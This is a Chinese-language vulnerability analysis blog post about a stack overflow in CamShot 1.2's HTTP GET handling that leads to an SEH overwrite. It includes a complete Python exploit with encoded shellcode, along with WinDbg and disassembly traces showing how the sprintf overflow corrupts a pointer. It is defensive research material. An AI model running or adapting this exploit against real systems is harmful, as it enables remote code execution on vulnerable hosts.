CamShot1.2远程代码执行漏洞(SEH)

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/207069764a71394b87fd7de081e6609f-camsht12.exe

PoC:

# CamShot SEH overwrite by tecnik
 
import socket, sys
 
if len(sys.argv)!=2:
    print "Usage: camshot.py <target>"
    exit()
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
 
print "Sending Exploit to:" + sys.argv[1]
 
# GET request + overflow string
request  ="GET /"
request +="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# short jump over SE Handler Addr overwrite
request +="\x90\x90\xEB\x07"
# overwrite SEH to point to mfc40.dll (no SafeSeh) JMP [EBP-4]
request +="\x9A\xF7\xA9\x61"
# NOP's I haven't cleaned up; SUB EBP,-508; XCHG EBP,EDX; (to setup Base Addr for ALPHA3 encoded shellcode)
request +="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xED\xF8\xFA\xFF\xFF\x90\x90\x87\xEA"
 
# ALPHA3 encoded (lowercase ascii with EDX base) Metasploit shellcode (Exec calc.exe)
request +="j314d34djq34djk34d1421r11r7j314d34dj234dkmr502dr5o0d25usz85561k20213o83060499913o2656e327e79ld1303l2k88gnd0x3xmxlk856c7cn40k049kle6570ob0xkk9d3901ok5d3dnx5c0emxn831o57cox6x5d4b5dng6fkg322532l911l4of4k8k3x89ldmc151xj953nfkx6f333c19l0me645g1254okmel505023co30eo87fm178jg30m8n2l14g4c8el342997b5x9xn049845xok4415503g3gn41fmdlb6fnk629cjkk2j59878n23e413881nb9c1fme241gl1nx0e711369ne90j13e0b120dke581d42121co07c83k2lele4x5k3d7go84d9c015x038d32l5o36g088c0b930229j9oe7x332bjg8f3825nk422081888clx9g0k3cl5j8kf7139197"
 
 
request +=" HTTP/1.1\r\n"
request +="HOST: 127.0.0.1\r\n\r\n"
 
s.send(request)
 
print "Done."
 
s.close()

测试环境:
Windows xp sp3

PoC依然出自EDB,使用时可以修改exploit部分改成畸形字符串,运行camshot,将会开启80端口,可以作为http服务器访问,发送畸形get包,会引发漏洞。


漏洞复现


此漏洞是由于对GET请求处理时,对URL的头部处理没有进行严格的检查,从而导致在调用sprintf时,超长串拷贝造成了ebp后某参数地址存放的指针被覆盖,从而导致调用指针时读取不可读的指针,从而进入SEH异常函数处理,再通过覆盖SEH指针导致代码执行。下面对此漏洞进行详细分析。

首先加载程序,附加windbg,通过PoC,发送get包,程序崩溃,到达漏洞现场。

0:002> g
(c70.e14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fa9c ebx=0040a000 ecx=00000376 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ae esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\BroadGun\CamShot\program\camshot.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\BroadGun\CamShot\program\camshot.exe
camshot+0x48ae:
004048ae 8b3e            mov     edi,dword ptr [esi]  ds:0023:ed819090=????????

可以看到此时esi对应的地址是一个不可读的地址,而这个ed819090看上去很熟悉。我们来看一下PoC。

# short jump over SE Handler Addr overwrite
request +="\x90\x90\xEB\x07"
# overwrite SEH to point to mfc40.dll (no SafeSeh) JMP [EBP-4]
request +="\x9A\xF7\xA9\x61"
# NOP's I haven't cleaned up; SUB EBP,-508; XCHG EBP,EDX; (to setup Base Addr for ALPHA3 encoded shellcode)
request +="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xED\xF8\xFA\xFF\xFF\x90\x90\x87\xEA"

在PoC中构造request的部分,可以看到\x90\x90\x81\xED的部分,正好是esi对应的地址内容,那么我们可以确定漏洞形成的原因应该是:esi本来应该是一处指针,但是却被GET后面URL的内容覆盖了,从而导致了这次请求失败,我们按G继续运行程序。

0:000> g
(c70.e14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=3f909061 edx=7c9232bc esi=00000000 edi=00000000
eip=3f909061 esp=0012f6c0 ebp=0012f6e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
3f909061 ??              ???

可以看到程序由于进入SEH异常函数后,SEH指针被覆盖,导致程序被接管。调用KB看一下堆栈调用。

0012fbd8 90909090 ed819090 fffffaf8 ea879090 camshot+0x48ae
0012fbdc ed819090 fffffaf8 ea879090 3431336a 0x90909090
0012fbe0 fffffaf8 ea879090 3431336a 64343364 0xed819090
0012fbe4 ea879090 3431336a 64343364 3433716a 0xfffffaf8
0012fbe8 3431336a 64343364 3433716a 336b6a64 0xea879090
0012fbec 64343364 3433716a 336b6a64 34316434 0x3431336a
0012fbf0 3433716a 336b6a64 34316434 31723132 0x64343364
0012fbf4 336b6a64 34316434 31723132 6a377231 0x3433716a
0012fbf8 34316434 31723132 6a377231 64343133 0x336b6a64
0012fbfc 31723132 6a377231 64343133 6a643433 0x34316434
0012fc00 6a377231 64343133 6a643433 64343332 0x31723132
0012fc04 64343133 6a643433 64343332 35726d6b 0x6a377231
0012fc08 6a643433 64343332 35726d6b 72643230 0x64343133
0012fc0c 64343332 35726d6b 72643230 64306f35 0x6a643433

已经被shellcode覆盖,通过PoC和漏洞触发场景结合其实已经知道了漏洞形成的大致原因,接下来我们分析一下为何会形成漏洞。


漏洞分析


虽然堆栈已经被shellcode覆盖,无法回溯,但是漏洞崩溃前的位置我们还是可以看到的。

.text:00404891 loc_404891:                             ; CODE XREF: sub_4047F0+7Aj
.text:00404891                 push    0
.text:00404893                 lea     edi, [ebp+var_13C]
.text:00404899                 mov     ecx, 0FFFFFFFFh
.text:0040489E                 sub     eax, eax
.text:004048A0                 repne scasb
.text:004048A2                 lea     eax, [ebp+var_13C]
.text:004048A8                 mov     esi, [ebp+arg_0]
.text:004048AB                 not     ecx
.text:004048AD                 dec     ecx
.text:004048AE                 mov     edi, [esi]

在这个loc里,我们看一下004048A8的位置,将arg_0,也就是第一个参数,赋值给了esi,而后面esi调用失败,由此可以推断是第一个参数出现了问题。

那么现在有两种可能,第一种是,在进入这个引发漏洞函数之前,第一个参数就已经被覆盖了,第二种可能是进入漏洞后某处被覆盖,因此我们需要回溯一下函数入口处来确认一下。

.text:004047F0 ; int __cdecl sub_4047F0(int, int, char arglist)
.text:004047F0 sub_4047F0      proc near               ; CODE XREF: sub_403580:loc_4035DFp
.text:004047F0                                         ; sub_403580+229p ...
.text:004047F0
.text:004047F0 var_13C         = byte ptr -13Ch
.text:004047F0 var_10          = dword ptr -10h
.text:004047F0 var_C           = dword ptr -0Ch
.text:004047F0 var_4           = dword ptr -4
.text:004047F0 arg_0           = dword ptr  8
.text:004047F0 arg_4           = dword ptr  0Ch
.text:004047F0 arglist         = byte ptr  10h
.text:004047F0
.text:004047F0                 mov     eax, large fs:0
.text:004047F6                 push    ebp
.text:004047F7                 mov     ebp, esp
.text:004047F9                 push    0FFFFFFFFh
.text:004047FB                 push    offset loc_40490C
.text:00404800                 push    eax
.text:00404801                 mov     large fs:0, esp

我们在004047F0下断点跟踪。

0:002> bp 004047F0
*** WARNING: Unable to verify checksum for C:\Program Files\BroadGun\CamShot\program\camshot.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\BroadGun\CamShot\program\camshot.exe
0:002> g
Breakpoint 0 hit
eax=003d7104 ebx=0040a000 ecx=003d7b6c edx=003d7090 esi=003d7100 edi=77d2aafd
eip=004047f0 esp=0012fbdc ebp=0012fc1c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
camshot+0x47f0:
004047f0 64a100000000    mov     eax,dword ptr fs:[00000000h] fs:003b:00000000=0012fc10

程序到达后,在抬高栈顶之前,我们通过观察esp的方法来观察一下第一个参数是不是存在问题。

0:000> dd esp
0012fbdc  004035e4 003d7090 00000194 003d7b6c
0012fbec  77d2aafd 003d7090 00670470 00000400
0012fbfc  00000000 003d7090 77d2aafd 003d7104
0012fc0c  003d7090 0012fcd0 004038cd ffffffff
0012fc1c  0012fcdc 0040147e 00000124 003d7090
0012fc2c  61d0e67a 00000000 00000001 003d6200
0012fc3c  61d8d0b0 61d0e5f5 00000124 00000001
0012fc4c  61cf187e 00000124 00000001 61d8d35c

可以看到参数并没有存在问题,那么基本可以确定是函数内部出现了问题,继续单步跟踪。

可以看到通过一处loc后进入分支,那么我们在之前的这处loc位置下断点。

.text:00404832                 lea     ecx, [ebp+var_10]
.text:00404835                 call    MFC40_486
.text:0040483A                 mov     [ebp+var_4], 0
.text:00404841                 test    esi, esi
.text:00404843                 jnz     short loc_40486C
.text:00404845                 push    8Dh
.text:0040484A                 lea     ecx, [ebp+var_10]
.text:0040484D                 call    MFC40_3656

进入后继续单步跟踪。

0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=00000001 esi=00000001 edi=00000002
eip=00404882 esp=0012fa94 ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
camshot+0x4882:
00404882 50              push    eax
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=00000001 esi=00000001 edi=00000002
eip=00404883 esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
camshot+0x4883:
00404883 8d95c4feffff    lea     edx,[ebp-13Ch]
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=0012fa9c esi=00000001 edi=00000002
eip=00404889 esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
camshot+0x4889:
00404889 51              push    ecx
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=0012fa9c esi=00000001 edi=00000002
eip=0040488a esp=0012fa8c ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
camshot+0x488a:
0040488a 52              push    edx
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=0012fa9c esi=00000001 edi=00000002
eip=0040488b esp=0012fa88 ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
camshot+0x488b:
0040488b ff15d8ed4000    call    dword ptr [camshot+0xedd8 (0040edd8)] ds:0023:0040edd8={USER32!wvsprintfA (77d1a610)}
0:000> p
eax=00000376 ebx=0040a000 ecx=00006581 edx=00000037 esi=00000001 edi=00000002
eip=00404891 esp=0012fa94 ebp=0012fbd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
camshot+0x4891:
00404891 6a00            push    0

可以看到进入右侧分支后,会调用一处call wvsprintfA,而在这次调用后,我们来看一下ebp的值。

0:000> dd ebp
0012fbd8  90909090 90909090 ed819090 fffffaf8
0012fbe8  ea879090 3431336a 64343364 3433716a
0012fbf8  336b6a64 34316434 31723132 6a377231
0012fc08  64343133 6a643433 64343332 35726d6b
0012fc18  72643230 64306f35 73753532 3535387a
0012fc28  326b3136 33313230 3033386f 39343036
0012fc38  33313939 3536326f 32336536 39376537
0012fc48  3331646c 326c3330 6738386b 7830646e

已经被覆盖了,接下来进入之前我们看到的漏洞位置。

0:000> p
eax=0012fa9c ebx=0040a000 ecx=fffffc88 edx=00000037 esi=00000001 edi=0012fe13
eip=004048a8 esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
camshot+0x48a8:
004048a8 8b7508          mov     esi,dword ptr [ebp+8] ss:0023:0012fbe0=ed819090
0:000> p
eax=0012fa9c ebx=0040a000 ecx=fffffc88 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ab esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
camshot+0x48ab:
004048ab f7d1            not     ecx
0:000> p
eax=0012fa9c ebx=0040a000 ecx=00000377 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ad esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
camshot+0x48ad:
004048ad 49              dec     ecx
0:000> p
eax=0012fa9c ebx=0040a000 ecx=00000376 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ae esp=0012fa90 ebp=0012fbd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
camshot+0x48ae:
004048ae 8b3e            mov     edi,dword ptr [esi]  ds:0023:ed819090=????????

果然ebp读取指针,由于指针被覆盖,导致了问题的发生。

Comments
Write a Comment